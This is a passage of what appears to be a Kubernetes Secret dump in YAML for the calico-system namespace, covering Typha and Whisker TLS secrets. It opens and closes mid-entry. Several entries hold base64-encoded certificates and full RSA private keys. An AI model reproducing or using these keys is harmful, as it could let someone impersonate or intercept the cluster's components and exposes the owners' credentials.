kFEQ3ZtLwpMcGVHM0k1VkVnaW5LRzY1NENtdEtoWmQzUmZwK3k1R1hQbWNwejVGUXNEZUxjZ09xYy9KblRHT0JseERKcmRtCnpoV0Q5dVIrZ053YVQ4SU45Y2ZDcDM5K2xPUEZQdUNRZysxZ2tPVE4ydHFTdmdYeEJ3b3ZUaGdwNFhKRTBpK0sKcmNIdUs4RVNJQjlHVVhIUTNLeGJsYzg2WjdiQ3JuTjBpSThQa2t2MWpOUkg2eEdjV3dPNWJnUVF6V3hFWjQ1Nwo3S1Nia21YdDNwYUx3YmFoS3kramk5aWpZenFXZVRJWmZPZmc2WHBkUjJ0T3R0ajZSQlRpcU9zU2JGbHE3MEZYCmRmMFJpTm15aUdGb1pTVXd2dHdENUFPdG4rSFJxQ2c0TTNPMERhOUw3WWMzRlFlZVdXajhRRUloemdJVDBOSUoKR3UxRVQvRUNnWUVBdzNGM2JBdEpiWS9GNEU1Mk93Z0s0VVF5Ny9vTEdqL1VlZW5PQ2t4OWRaa2NEUXhadlpWYgpiNUdQcHBPU3JGU0d4eEpsZXV4NWJodjhNMWU1dkoyZHNQUWhBWi9NbGdKcGhVZjUvWEFOR2haUHd4eGoyeWNmCkRJUjhLR0ZvVkdxUi9CS0poYnN0S05CMEpYaWRLTjhEWE5WSGNhN2RBTVltZTlxQkUzNDZUUEVDZ1lFQXZUVk8KMWxRZ1pWM2szcHJmVyt6S3FDZ0tRWVZEbWhWWmdpUjFmSVF6dm5nNzhUMXdqWUFmMm4xNU5jMEdvcDFoNVBidQpJNEh6Y3lHVGI3THU3NEJ0TmRSZFZZMk9kU3d5Zm8xNlgrTXB5eFNLaHJhZWg3Ykhxd2Z5MFpvSzdSRDRDYmphCnRrWHJNQS9DdmpXdUVncWpPS2IxdlFTRGQ2ak1zUjgzcmpxemZSY0NnWUVBaTUzbUF0LzVQM1JDbGg5VzVJcTEKUXdFMkppcUlmZUwxUlhZWmcwL3JHL1FaanRTdzB2YjhUN0k3WFhMMGgza0dvdlZvV3l6TS9qU3RzSHZOcW9rcQpHanY3ekM0OHR6alg2cWRsVllBVFMveCtWRkpXbnpyT09tSDJVOTVwNmt3TEozaVNsMThFUHJEVEYrV1cxNWlnCnpWTnE2ekpRbkhueENlOG80Q1QvUHZFQ2dZQnJ0ek9BdFRnVVBWWVVuTnJYL0lDTEp2QmZ5THhwdGduVkcyaC8KVU13Y2ZWcXl4aVdUaVFPWllhRmx6YWtmWHJYaW9lbUU4WEJsZFJING4wZUR0ZnQyajhYcTlNSExWelFQOC85ZApJM2doa3pvaDQwbHhQYytDUU80dUFhS0N3QXhWakpXRysxc2ZhM21VeS82amFzYnRjNittd2pFT0tGMFA0UlBUCjdydE1WUUtCZ0hEdFFsYTNxNm1jOHQ1NDZDYzIxMlE2akVqT1lpcExVVWxpNTZnY20zZGFqYTBlRjR1YmpGSVEKRVpsVThoWEJ2RE94U1JYY25RT20vWTBMRmFKOHpSYk1Ua2FzWEpZU2NyQWV1ZkcweDdXOG9YVEpKOWFEam5WQgppbzFkaFpjQnU1aEQ4Yi90U0tvSnJWYlMvNmc2SStJRmJPaTh1dGdkWktXZDZHRXpPUXpKCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: typha-certs
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821080"
    uid: ebe459f9-72e3-403d-886b-707b54bf29a6
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURmakNDQW1hZ0F3SUJBZ0lJSTArVEl3aTVCWUF3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpFeU1qUmFGdzB5T0RBeApNakl4TmpFeU1qVmFNQ2N4SlRBakJnTlZCQU1USEhSNWNHaGhMWE5sY25abGNpMXViMjVqYkhWemRHVnlMV2h2CmMzUXdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFEQkNHeDlHRWFFOGR1WHl1N2QKcE1KdldPNlI4RGxkazJpaCs5WFhoREQySWI1amkwaEVDRWlxcHBJOHhyYXh5MjFrMVFjdGxZMUdCdjgvRFR4OQpaT2VycnlGdGh4MjVEZGs0dGpQelI5QThubWd5c2V0d0dvb015aGh6Mmx0cEZTMmlvVWxNTi94bTNxNERJR3RvCnJaSDlCNUZKbVd0OUtMRFFyVXRDVVFLWjBtZTQ4T2hreExmd1NzWDYrMmFmcVlUZVJOYlVreVRGaVJ4bFF2TDcKN1I4RXRwOWFvQzVDcHgyNnlSNWsvSDNmMlBzSGsraGZ2SzIxLzd3NmkvNDdZZHd1STJLTi9QNFprMy9oWFZaZQplNkk5Z3FoTFFYZEJPaGxsV2QyUXJJeVBid04rWm1HS0c1cmZhSFFDRWNIVGFuUmFFTlp0TjlnZmdVNHdBODZjCjU1eTdBZ01CQUFHamdiTXdnYkF3RGdZRFZSMFBBUUgvQkFRREFnV2dNQ2NHQTFVZEpRUWdNQjRHQ0NzR0FRVUYKQndNQkJnZ3JCZ0VGQlFjREFRWUlLd1lCQlFVSEF3SXdEQVlEVlIwVEFRSC9CQUl3QURBZEJnTlZIUTRFRmdRVQp4aU9pQWVtVTNaTUltNFo0QUZMVnJLc0Y2aFl3SHdZRFZSMGpCQmd3Rm9BVXR3cm1XMEMxOGlxdnB6Njl5cEhxCnFHWElaS013SndZRFZSMFJCQ0F3SG9JY2RIbHdhR0V0YzJWeWRtVnlMVzV2Ym1Oc2RYTjBaWEl0YUc5emREQU4KQmdrcWhraUc5dzBCQVFzRkFBT0NBUUVBR2wxOWkzekFMV0RjVHlLQm8yWEU1Ym9US2xZa0R2WmNGQ3FKaHdzTwpmWVgySnFPK1NQdlR6SVNCOXIvK1g1MzM5VEdacDNGWUFyUnN2czEwR3RranRlN241WE1RRHljc0Z4SXRocnhnCjdjelVBTTUwMEdnYy9Va2NlTTdzYjZHWVN0aGEva3ZMSG45RGNHbk93eC8vQVhrNFR0aEw5OEFtclE1ODJadWcKVkhGb0p2OGt0WUZWeWV5RWxNMHFyeCtIaTNFSmZTSTN4T0hDaUV4M2RuSUhZSVlaSkFRSXRZVkZ5UGZkc3prbgpUT0srcWdpL1BkTTM3aDJtU0lTWFQ5S28vd1VHUmg3Zmw0QzFQVkZrNHV3NmRnajVPRW5BSnJPWFJ5bDdPUTlHCjVvSXRxZUdvb05lZ0NkakNHcndndHdRMlY4RjMrcDhUN1ZQTmYzMVlFVitvSkE9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlES1RDQ0FoR2dBd0lCQWdJSUJBazFKVXlTNnRZd0RRWUpLb1pJaHZjTkFRRUxCUUF3SVRFZk1CMEdBMVVFCkF4TVdkR2xuWlhKaExXOXdaWEpoZEc5eUxYTnBaMjVsY2pBZ0Z3MHlOVEV3TVRreE5qRXlNakZhR0E4eU1USTEKTURreU5URTJNVEl5TWxvd0lURWZNQjBHQTFVRUF4TVdkR2xuWlhKaExXOXdaWEpoZEc5eUxYTnBaMjVsY2pDQwpBU0l3RFFZSktvWklodmNOQVFFQkJRQURnZ0VQQURDQ0FRb0NnZ0VCQUlpZE1jemRibTQ3U21pNVZvRUlMZUIyCkJFd0tTbnYvc08xeVR5U3k0TzNQOEdpNVgramNYN3J1Y0lZY3BUb1VuOTZsUnN5UjZyZ0Y5K2JMUU9lWjdyVHUKM0l0VllSa041VUlBMHlESm45aER1dmMzMllYdmRLWXVOWnpWUnFhMHpSei85cEpZUTkvMmNsOTBId0Fkdm90OApBVmhmeFBQYU9jZ2lQazNoRGFsS0l0bnFraWhIN1BZdTZybTcxNEtQeXdHZVBoOWU3cDErR1JhZGxwWk9DdUcrCkdJRm4wN1RPQWJUQ25FT0gwTkgyNENVSFJpWWN5S1lVRlAydlgyMVRHdzBrVzFiNlBsWGQxTCt5RksyKy8xUG0KZDRrYkEyTUhlUERiek5mSVJWUGRpSWozcmlEYjR2RytGVWtlaHNsd0krZUlZL2x6NXQxSkhON1E2QXdCTXRFQwpBd0VBQWFOak1HRXdEZ1lEVlIwUEFRSC9CQVFEQWdLa01BOEdBMVVkRXdFQi93UUZNQU1CQWY4d0hRWURWUjBPCkJCWUVGTGNLNWx0QXRmSXFyNmMrdmNxUjZxaGx5R1NqTUI4R0ExVWRJd1FZTUJhQUZMY0s1bHRBdGZJcXI2YysKdmNxUjZxaGx5R1NqTUEwR0NTcUdTSWIzRFFFQkN3VUFBNElCQVFCbStzSGpyWUFvKzlOd0gyMTRCTjN6cWlyQQpaWnc4VEYyNjBsczgxemt4M2pCRkNNdmxYb1R0aEZoRTVUQTNITlI3c0Z5MGxiVG9qZDZsNk1RWHB6Rlo4MElNCkMwK3JNNUNDNmJWamJLLytpQXFWcnpoOFRHVmw1UmwyYUlQSEovM2pzcDc3Q0lFbnJCSHU3a0RsbVVZVWxNNk4Kb3hjN25zMFk0bVh3TWtOeWxFUk1FbVB5UjRoeWszNWhwNU10RzErM0E0VXRXSGVmb1dEYWZxa1h5UHFEbjR6SQo5MzRUME1CQXdKRVpDVm9ta2ROSjZKQ1ZwVmowVk1jRHdxZTRmcGdhQXdTTWpwYTJFWHd1UXBIZEIwWlErdEJXCnowbEZOOGRjVk93THBkRzdPVFExcldDbVArbzNMQnlwQ0lGMmd4UDhkbDJ2RzR2b0w3SWtYK2ZadXplZQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcFFJQkFBS0NBUUVBd1Foc2ZSaEdoUEhibDhydTNhVENiMWp1a2ZBNVhaTm9vZnZWMTRRdzlpRytZNHRJClJBaElxcWFTUE1hMnNjdHRaTlVITFpXTlJnYi9QdzA4ZldUbnE2OGhiWWNkdVEzWk9MWXo4MGZRUEo1b01ySHIKY0JxS0RNb1ljOXBiYVJVdG9xRkpURGY4WnQ2dUF5QnJhSzJSL1FlUlNabHJmU2l3MEsxTFFsRUNtZEpudVBEbwpaTVMzOEVyRit2dG1uNm1FM2tUVzFKTWt4WWtjWlVMeSsrMGZCTGFmV3FBdVFxY2R1c2tlWlB4OTM5ajdCNVBvClg3eXR0Zis4T292K08ySGNMaU5pamZ6K0daTi80VjFXWG51aVBZS29TMEYzUVRvWlpWbmRrS3lNajI4RGZtWmgKaWh1YTMyaDBBaEhCMDJwMFdoRFdiVGZZSDRGT01BUE9uT2VjdXdJREFRQUJBb0lCQUNnSDdpKzNGQkRIODJrMApQWHNiaXZMNmQyY3VjVWNWcGRKSjNwdjJIdzA4RERhcWtNOERCTWJYQ21hdU12OEdGK2FjUXdQU0N0MGw0Rk1jCkZKcFFqYmJOOTltMTlwVUU2VEpZbnNkcDhpWlFGMzNENWZaMm1vQnlmTVd4MTlrZitqbkt4dCtXa0xKb3BaK2kKWG9QejB0MnRieFRiU3k1R2ZQeVpvNHphTGZibURrYjM5S0M4bHBpb25lenBqeTA4UmxFUXJTbnMvSS9wcUlDUAp2VUtzc3phbGJYTHIxdlprb1dtSXhWN0t1ZCtlUEZVMCtRcjNmbDlackZSbDVsUHlhdjhyTnEyMjN5Z3lpNk5ECkhwdDJ4V0pJU2J3M2N3NVNMdlVYanBNNGhqS2Eydjhza0pnMjY3RVRweVA3Znorc25NTDZYR2loZVY1bUp0YlQKRVM5RUVua0NnWUVBM3J3QkJwOW5oWVFxUFA3Q0pMbnFJemNwZG40dHNUa1pKRWtldlJYQW80NE9RNzB5SmFFbAorZEVRTmowVVZYbEZhS0hsWkFhVkhwb1Z0eHZ2WnRFZ2laeG5SRmtPd2hpd0EwOHVuUjFsc1k2T0tHUUFTUlFyCldyK3ZpK0RreEpmOHBvclc2UU4wbU4wMkVGVVlod3RFVC8ybWc1RXM4RkZIaHdwZHk3TUxhczBDZ1lFQTNkelIKT1hvbDJiemtUakFxQ1VmQzkvN0o0ekxabGJ6aElNWFB3Tmd0Nm5ueEhwaytKNkZxL2ltY1MvbmVzSXB3S1Q4UAo2Y2YraHlBaDdtYnJNd0RWdTM1WlFEQXhRVm9CMzBaM1pUZEQyS3FoQktaaFJaTWJRL0c3OUxLUTllTGxTZnVtCk9xS1RraVJEd0laeElweXRtakFYaUQycitOckN1dDNQVExtNnRhY0NnWUVBa0VWU25NbVBzbW9ET2ZNQ0tldksKZnZqeUFIQ0doQzZwM0ZrSWNnMnU4OEhGOTVhSzd0ak0wbDNhbEdkSHpuMTR1ZWR6d0RDTFVvRVg0NzFTZWxTbgpNTHVBSUVOWFRkM1QxTERyVHBXR0UxWjFPakJjQnZucmd5SjZRSzV4UCszNmxwMkR5dmFVQlpmenR1eUhzS0ZaCnBENTJKdTVZSDJsbVhWQVhwU1BhRjFrQ2dZRUFzclRzWHFUU0dqbjVtRFZabHRJVDdOaHhYQzJZYi9HTlVXMmsKczR3dUtBR0RSQWRodG1CaUkwbjNHSWV6WlhhTmM5dlZBSlZVb3hreDI2dFE1bXRVdmNxL0wySGlPdWE2UFZPdwpWbm9XajA2WmxucENQZDJKaDhnT2dzTFcyd2loY2w5ZWZUcDVMYTFDV2JDeExwVVBqUFFSOEc3a3QvWFdCdGtsCjRvSjBMMThDZ1lFQWsxVWxMOWpmU3Q1V1lxUEVteU01YW92dTJLNE1nRWNtVktBNUU5K0hOQUZHR283NE5EYzEKYWxzTUQxS20vR0UwYVU1aUpDZXlwR0dSWXZvSUgwT2RnbHdiOHlhNzVnWmtlWDh6UVptZVpGay9tMy9acWYxZApkQWEwbDYzRjVHdmZNVHozYWxOTVlqSklTU1pORzgxSlFFZ2ZBYVpGOEd1NlkxaTVJdE96N0NNPQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: typha-certs-noncluster-host
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821082"
    uid: 0f5241ac-4ecf-4eaa-84a4-746c4aa5687b
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUQ4akNDQXRxZ0F3SUJBZ0lJYTVYTC9ISENXVTh3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpJMk5UVmFGdzB5T0RBeApNakl4TmpJMk5UWmFNQlF4RWpBUUJnTlZCQU1UQ1RFeU55NHdMakF1TVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCCkJRQURnZ0VQQURDQ0FRb0NnZ0VCQUpPUlNENkRNNlFmVCtqT29DUXlmQ0VuWEFISTRubXRNUU9FRWg4aEZKTjEKUXlVTEVNeTA4WlprNHFla1llUjBpS2JNOStxT0R1OTEyS1ZBRmVKeENnTmdQdlE3NXZmRUVOUTJIT0xoTHY3QgpFVDMyU3M2N3A1VExsSHp1WlIxQ2ZWSDJFeFJET2tZc2ZPWHo1cWJ1bFF2R1h5emhRby9RV3FlaXVNVVJYWFhUCkdCRjUyZ2c0MnUyRFpxWHlEYWVwbG15bEF1Tkc1aHQwVy9kTUZxNUJ0dlNrempKbDhVYVJnU2o4aHhSZGNScXAKUjY2eXFjcXlzVVFUWXQrNWhyK0MzbXB2alBvWktuWElFNzZ0UCtCbWdYK2FmamdSNTZiWmpnTVRwV2VadUNtQwppUGs4bjZteGdqcnhObjQzb1dHYzNFcjdaMkxWQ0ZxM1RXWGhUTjdNa3ljQ0F3RUFBYU9DQVRrd2dnRTFNQTRHCkExVWREd0VCL3dRRUF3SUZvREFuQmdOVkhTVUVJREFlQmdnckJnRUZCUWNEQVFZSUt3WUJCUVVIQXdFR0NDc0cKQVFVRkJ3TUNNQXdHQTFVZEV3RUIvd1FDTUFBd0hRWURWUjBPQkJZRUZNNmJmSDJrRHBUeUUwRVlFUFdJaWEyUAo5WWZZTUI4R0ExVWRJd1FZTUJhQUZMY0s1bHRBdGZJcXI2Yyt2Y3FSNnFobHlHU2pNSUdyQmdOVkhSRUVnYU13CmdhQ0NDV3h2WTJGc2FHOXpkSUlQZDJocGMydGxjaTFpWVdOclpXNWtnaDEzYUdsemEyVnlMV0poWTJ0bGJtUXUKWTJGc2FXTnZMWE41YzNSbGJZSWhkMmhwYzJ0bGNpMWlZV05yWlc1a0xtTmhiR2xqYnkxemVYTjBaVzB1YzNaagpnaTkzYUdsemEyVnlMV0poWTJ0bGJtUXVZMkZzYVdOdkxYTjVjM1JsYlM1emRtTXVZMngxYzNSbGNpNXNiMk5oCmJJSUpNVEkzTGpBdU1DNHhod1IvQUFBQk1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQkhhWCtFSHpobEtyOEMKcFNMQTUzZG50OWlnUjFvM21Ic2NUbUMrRGQ2RHJpZ011eEhHS25QVERRa0J6L3UwcWhvaXlodGJQR3BTZ2FXaApDVFc0NkRkQXJhY1I2Vm9pazRhekVGOGNVMDVrMEJHbXpvWTE5ZWZabEVPUHA0dHdTdjkvTnBGYWpOVEx5V2VmClhnTGxxZEErdENjbTc4bmRFNDE3MytTeDRHS0RxNzhWZGUwZkFEeG5lL3ZEb3NxaDM5SUhrYzRidG5rMVR3MEwKK2dBTGg3V3BGbEJlT2c5RU1ycUdPS3NJUElRa2ZPUWlhWHlnSTk2bGI2Z1ZwTFBjSHBCOU9CS2hrWVpHSHZoQQpYVmdWUlBRUUNsOFlYbURuY1VhM3FkM3VXeHVha3hhS2xhZHUyWkZTcUxUL1JZTkloaWdRNnRUL3A4R0lESjBQCmdtNmJNYVdhCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURLVENDQWhHZ0F3SUJBZ0lJQkFrMUpVeVM2dFl3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFnRncweU5URXdNVGt4TmpFeU1qRmFHQTh5TVRJMQpNRGt5TlRFMk1USXlNbG93SVRFZk1CMEdBMVVFQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakNDCkFTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBSWlkTWN6ZGJtNDdTbWk1Vm9FSUxlQjIKQkV3S1Nudi9zTzF5VHlTeTRPM1A4R2k1WCtqY1g3cnVjSVljcFRvVW45NmxSc3lSNnJnRjkrYkxRT2VaN3JUdQozSXRWWVJrTjVVSUEweURKbjloRHV2YzMyWVh2ZEtZdU5aelZScWEwelJ6LzlwSllROS8yY2w5MEh3QWR2b3Q4CkFWaGZ4UFBhT2NnaVBrM2hEYWxLSXRucWtpaEg3UFl1NnJtNzE0S1B5d0dlUGg5ZTdwMStHUmFkbHBaT0N1RysKR0lGbjA3VE9BYlRDbkVPSDBOSDI0Q1VIUmlZY3lLWVVGUDJ2WDIxVEd3MGtXMWI2UGxYZDFMK3lGSzIrLzFQbQpkNGtiQTJNSGVQRGJ6TmZJUlZQZGlJajNyaURiNHZHK0ZVa2Voc2x3SStlSVkvbHo1dDFKSE43UTZBd0JNdEVDCkF3RUFBYU5qTUdFd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCL3dRRk1BTUJBZjh3SFFZRFZSME8KQkJZRUZMY0s1bHRBdGZJcXI2Yyt2Y3FSNnFobHlHU2pNQjhHQTFVZEl3UVlNQmFBRkxjSzVsdEF0ZklxcjZjKwp2Y3FSNnFobHlHU2pNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUJBUUJtK3NIanJZQW8rOU53SDIxNEJOM3pxaXJBClpadzhURjI2MGxzODF6a3gzakJGQ012bFhvVHRoRmhFNVRBM0hOUjdzRnkwbGJUb2pkNmw2TVFYcHpGWjgwSU0KQzArck01Q0M2YlZqYksvK2lBcVZyemg4VEdWbDVSbDJhSVBISi8zanNwNzdDSUVuckJIdTdrRGxtVVlVbE02TgpveGM3bnMwWTRtWHdNa055bEVSTUVtUHlSNGh5azM1aHA1TXRHMSszQTRVdFdIZWZvV0RhZnFrWHlQcURuNHpJCjkzNFQwTUJBd0pFWkNWb21rZE5KNkpDVnBWajBWTWNEd3FlNGZwZ2FBd1NNanBhMkVYd3VRcEhkQjBaUSt0QlcKejBsRk44ZGNWT3dMcGRHN09UUTFyV0NtUCtvM0xCeXBDSUYyZ3hQOGRsMnZHNHZvTDdJa1grZlp1emVlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBazVGSVBvTXpwQjlQNk02Z0pESjhJU2RjQWNqaWVhMHhBNFFTSHlFVWszVkRKUXNRCnpMVHhsbVRpcDZSaDVIU0lwc3ozNm80TzczWFlwVUFWNG5FS0EyQSs5RHZtOThRUTFEWWM0dUV1L3NFUlBmWksKenJ1bmxNdVVmTzVsSFVKOVVmWVRGRU02Uml4ODVmUG1wdTZWQzhaZkxPRkNqOUJhcDZLNHhSRmRkZE1ZRVhuYQpDRGphN1lObXBmSU5wNm1XYktVQzQwYm1HM1JiOTB3V3JrRzI5S1RPTW1YeFJwR0JLUHlIRkYxeEdxbEhycktwCnlyS3hSQk5pMzdtR3Y0TGVhbStNK2hrcWRjZ1R2cTAvNEdhQmY1cCtPQkhucHRtT0F4T2xaNW00S1lLSStUeWYKcWJHQ092RTJmamVoWVp6Y1N2dG5ZdFVJV3JkTlplRk0zc3lUSndJREFRQUJBb0lCQUFETThSL2FuZzNmUkdKVQpCVURaVTJ0Z0tlY245ZFpFRXJwT1R4M3ZnQ2s2eVNwUCtUV3FlZkM4N2lTZlRDTWVoL1RLeHZNU3B0WVhSUjExClQ3THR0aEFLb0Q0SmFySDR5c3BGeDZaV2hjbGNWRkJpMFRWaWhiSVFmalhpWDZwZEgvcDJBVXIwTzZUYWJpbk0KNUhraWNVcG02S083LzVMQWQySmNNM3BCNkNyUTJMUkdOQmVUTjhHSHgvekVnTWVEQXZGOHduazJqcjV6NzBGcQpNejd1N1U4cUFmbFhaQUdvSDl0NGRYdXB3NDhDVENxeEdDeWE0QnNNUGoxWFRrZEJsWGlHeitFUktBdXlUeDFhCkpkWitvNEVhUW01empyYlpaTTB6WDFhcERwUXZMdTU3am1kMkpaODFZWVdhU3Y2aTdWZGxSYlBIRHd4TlhMTFQKaEpZeExRRUNnWUVBejhWdnFuRVlXaGhnUmtrMFB5MENWQW9rNXYzQkdaVVdYNkR4YnVSQlU4NDg0empkRGgyTApxZGhIT2R2ck9NSjRzcVkxUXB2K1FOY25FbktIWExsMm5XcXF6TVRCd1hFbFJWU3l0VEJvQ2NOMkNRbnhSMk1WCmJRNXQ3V1BpU1FHbFRXeUdzaHJTeEJOWlFxcEJid200NkoxNHh5VjcrVFk4NzhhckMycyt4VUVDZ1lFQXRkSlAKUkZxV1M1Q3Q4UndIUG5ZbXcvYlI0NGdzTnBWL2JaTUI1SFBxZ0RmWXBHL2JPQ1ZGNHVmb3lqSno0MkMyVTZEawp5L3R2bEY4b1VDd09Od1hRazZzTFBsdGQ2NCtmeVFJby9GS1pxZUZzQlhOZW1Jek1zRFBHT3dtR1BvU2ttVWl0CkY1V1FGcExnYlUzV0ZjSktVdEtDbkdITWNoVEk5YkRIcnFtUHRtY0NnWUJXRTVhNmh4WXVwVENsamNoZWIvZ3AKOXZYbzJMSDZOa0RKcDNTK20wUFJRMzBJS2RPeStGeVhKZW9FTjI4UTJjaUZRc1NIN3ZaN3lHY0Fob0E3MHY0bwpJenZWajZJeDBQMCs1dU1PbTVwT2lUTEtkZHNHMXk3V09vY2lOU0pYV3A0d0lFa0JXb2w5QUFNWDBrOC9nRWloCjNqTmVWZEl4b2QzRy9JaDZONWtPd1FLQmdGaEk3REJXaEEvaENuUytsVTNnOU9YR1hSZk1NUnUzNzQzM0NiNHkKQXJXTGFHZy80QVFkSlJnT1gxeCtyd0xESFFUeVpPWWZDb2pTdzdKYUVmVHBuK056OUJ1dEphZVJyNVpjdENZQQp2WmhkV3FReTVzWFA2RHZPaC94Mm5YYVIxWktRVld2VU5ZaWdmTlRXTEpPWUtacVptTTN5TnVGVjhsWktKa3RMCkRmc1ZBb0dBWTFJa2V3dC96OWFwL3cvTS9jd1FnUFZtemVVZWl6eUsybWJzUFQyVTZUMTlTZ2d0NDloc0JZRGkKR3VMTE9XZ2c2bzNNbXJwUUkxSm9ESU9ReTFqejZkVG9vemF3OEV3ek1sdjRnSHQ0T04xQjFSMGFGdFdHMW9XVQpmdjdmQUgxam80YzFhdWZ5TUNLc0p6aUpyUmVEOExmalczelNhcWh0SFA0Z3pTWWJjVTg9Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:26:57Z"
    name: whisker-backend-key-pair
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Whisker
      name: default
      uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
    resourceVersion: "6825371"
    uid: c440230e-b5be-4bb7-9b79-edff58d2fb51
  type: Opaque
- apiVersion: v1
  data:
    ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJ3akNDQVVpZ0F3SUJBZ0lSQU96RVR6NGsxQ3E3amU0RmRHYWpScmt3Q2dZSUtvWkl6ajBFQXdNd0lqRWcKTUI0R0ExVUVBeE1YWTJWeWRDMXRZVzVoWjJWeUxYZGxZbWh2YjJzdFkyRXdIaGNOTWpVd09USXlNVE14T0RNMQpXaGNOTWpZd09USXlNVE14T0RNMVdqQWlNU0F3SGdZRFZRUURFeGRqWlhKMExXMWhibUZuWlhJdGQyVmlhRzl2CmF5MWpZVEIyTUJBR0J5cUdTTTQ5QWdFR0JTdUJCQUFpQTJJQUJBRVA3T2h5UVdJQUdabXhJTTgvR1hVNExWbVEKcEhDMzBuYytaSncybDRIeGl6ZGM4VnhHT2dBaDkxVFJHYyt0dkQ3MzhlUmxHM0tsSnVNTWNDa1BDRTZFWERxcApOZmNBVGxESHFPeHZpV2VrakVSbUhwOEdGNHYyU2ZkT0d2a25VS05DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trCk1BOEdBMVVkRXdFQi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZCYi9sbU5UZ25lZW1XMVVjcmFBQ0kzN2hIbXUKTUFvR0NDcUdTTTQ5QkFNREEyZ0FNR1VDTUhtYlFkMHdFWmZXcFY5M3FuLzg5MGpnN2dOQjhoUktsQVpSU2NBVApFUFBsTWkreGovbnM0RDdTNDQ4ZHBhdWFmd0l4QU5Bb3VDUkN6SndWelFGZExuREdSRCtYcVBmNEdEb0krVVJhCmRyczBNVWxuSlovTmpNVGdIZE9rQ2szRFhrZ3RNUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJ3akNDQVVpZ0F3SUJBZ0lSQU96RVR6NGsxQ3E3amU0RmRHYWpScmt3Q2dZSUtvWkl6ajBFQXdNd0lqRWcKTUI0R0ExVUVBeE1YWTJWeWRDMXRZVzVoWjJWeUxYZGxZbWh2YjJzdFkyRXdIaGNOTWpVd09USXlNVE14T0RNMQpXaGNOTWpZd09USXlNVE14T0RNMVdqQWlNU0F3SGdZRFZRUURFeGRqWlhKMExXMWhibUZuWlhJdGQyVmlhRzl2CmF5MWpZVEIyTUJBR0J5cUdTTTQ5QWdFR0JTdUJCQUFpQTJJQUJBRVA3T2h5UVdJQUdabXhJTTgvR1hVNExWbVEKcEhDMzBuYytaSncybDRIeGl6ZGM4VnhHT2dBaDkxVFJHYyt0dkQ3MzhlUmxHM0tsSnVNTWNDa1BDRTZFWERxcApOZmNBVGxESHFPeHZpV2VrakVSbUhwOEdGNHYyU2ZkT0d2a25VS05DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trCk1BOEdBMVVkRXdFQi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZCYi9sbU5UZ25lZW1XMVVjcmFBQ0kzN2hIbXUKTUFvR0NDcUdTTTQ5QkFNREEyZ0FNR1VDTUhtYlFkMHdFWmZXcFY5M3FuLzg5MGpnN2dOQjhoUktsQVpSU2NBVApFUFBsTWkreGovbnM0RDdTNDQ4ZHBhdWFmd0l4QU5Bb3VDUkN6SndWelFGZExuREdSRCtYcVBmNEdEb0krVVJhCmRyczBNVWxuSlovTmpNVGdIZE9rQ2szRFhrZ3RNUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
